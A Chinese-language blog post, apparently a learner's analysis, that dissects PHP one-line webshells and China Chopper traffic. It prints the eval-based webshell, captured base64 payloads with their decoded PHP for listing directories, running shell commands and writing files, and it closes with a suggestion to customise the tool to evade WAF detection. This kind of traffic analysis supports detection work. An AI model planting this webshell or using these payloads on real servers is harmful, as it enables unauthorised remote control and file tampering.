webshell与菜刀的分析

webshell与菜刀的分析

webshell

webshell是以网页形式存在的命令执行环境,其权限取决于当前运行web容器使用的权限。webshell有小马与大马之分,其实本质上是一样的,但是在功能和规模上存在一些差异

在我理解看来,webshell是调用了系统和其语言本身提供的一些接口,用于执行系统命令、进行文件管理等操作

最常见的php一句话木马长这样:

1
<?php @eval($_POST['pass']);?>

从代码本身能够能够分析出来,其功能本质是执行由POST方式传入的参数pass的内容。这里的一句话木马的参数又称密码,因为如果不知道这个参数就无法使用其功能。注意输入到pass的内容,将会作为php代码执行

这里用火狐重放了流量,可以看到输入phpinfo();后执行了phpinfo函数,显示了php配置信息

这里调用php函数system()用于执行系统命令,可以看到此时我们已经和系统有了交互

菜刀

菜刀是一款webshell管理工具,传说是由一名中国退役军人编写的…

菜刀其实做的事也很简单,本质上讲是接收webshell的地址和参数,然后提供一个可视化界面,在对UI进行操作的时候,本质上是调用他封装好的函数,发送数据给webshell。因此这里对菜刀用wireshark抓包分析,可以具体看一下他到底发送了什么数据,本例中采用的样本是菜刀20100928版。在抓包时需要注意的是只有建立连接和断开连接时才会显示HTTP协议,其余流量传输其实应该去TCP流中找(Follow TCP Stream)

使用wireshark选取正确的网卡(或虚拟网卡)进行流量捕获,这里筛选条件是我的webshell地址和协议类型

目录列举

流量如下

1
pass=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=L3Zhci93d3cvaHRtbC8%3D

可以看出是base64加密过再URL编码后的数据,解密后数据为:

z0:

1
2
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();

z1:

1
/var/www/html/

返回数据为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
->|../	2017-12-02 20:11:13	4096	0755
./ 2017-12-18 14:35:26 4096 0755
sqli-labs/ 2017-12-02 20:20:00 4096 0777
important_log.txt 2017-12-18 12:16:19 16 0644
phplog.txt 2017-12-18 12:56:29 83490 0644
233.php 2017-12-07 00:12:34 315 0644
index.html 2017-12-02 20:11:37 11510 0644
getflag.php 2017-12-07 00:04:01 267 0600
shell.php 2017-12-18 12:56:50 34 0644
233.php~ 2017-12-07 00:12:18 313 0644
log_end.php 2017-12-06 22:00:53 782 0777
phpinfo.php 2017-12-02 20:33:20 19 0644
test.php 2017-12-18 14:17:05 48 0644
log_start.php 2017-12-18 12:06:03 1059 0777
readme.txt 2017-12-18 14:35:26 8224 0644
|<-

命令执行

流量分析:

1
pass=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyAneyRzfSciOiIvYyB7JHN9Ijskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIpOztlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=L2Jpbi9zaA%3D%3D&z2=Y2QgIi92YXIvd3d3L2h0bWwvIjt3aG9hbWk7ZWNobyBbU107cHdkO2VjaG8gW0Vd

解密数据:

1
2
3
4
5
6
7
8
// z0
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c '{$s}'":"/c {$s}";$r="{$p} {$c}";@system($r." 2>&1");;echo("|<-");die();

// z1
/bin/sh

// z2
cd "/var/www/html/";whoami;echo [S];pwd;echo [E]

返回值:

1
2
3
4
5
->|www-data
[S]
/var/www/html
[E]
|<-

本质是调用了/bin/sh来执行whoami命令,并且按照一定格式输出以便客户端读取和可视化

文件上传

文件上传同理,这里只展示解密后的流量

1
2
3
4
5
6
7
8
9
10
// pass
@eval(base64_decode($_POST[z0]));
// z0
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;echo("|<-");die();

// z1
/var/www/html/readme.txt

// z2
B2FAC6B7C3FBB3C6A3BAD6D0B9FAB2CBB5B6284368696E612063686F70706572290D0AC9FAB2FAB3A7BCD2A3BAD6D0B9FAB2CBB5B6C3B3D2D7D3D0CFDEB9ABCBBE0D0AB3A7BCD2B5D8D6B7A3BA687474703A2F2F7777772E6D616963616964616F2E636F6D2F0D0A2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D...

其中z2是十六进制数据,这里直接用fopen进行文件写入

其他

在分析过webshell与菜刀之后,其实我们可以很方便的对其进行定制,以绕过WAF对菜刀的检测(WAF对菜刀有各种意义的偏好…)

菜刀的配置文件其实就提供了定制的接口,能够进行各种灵活甚至自定义的编码。一刀在手,天下我有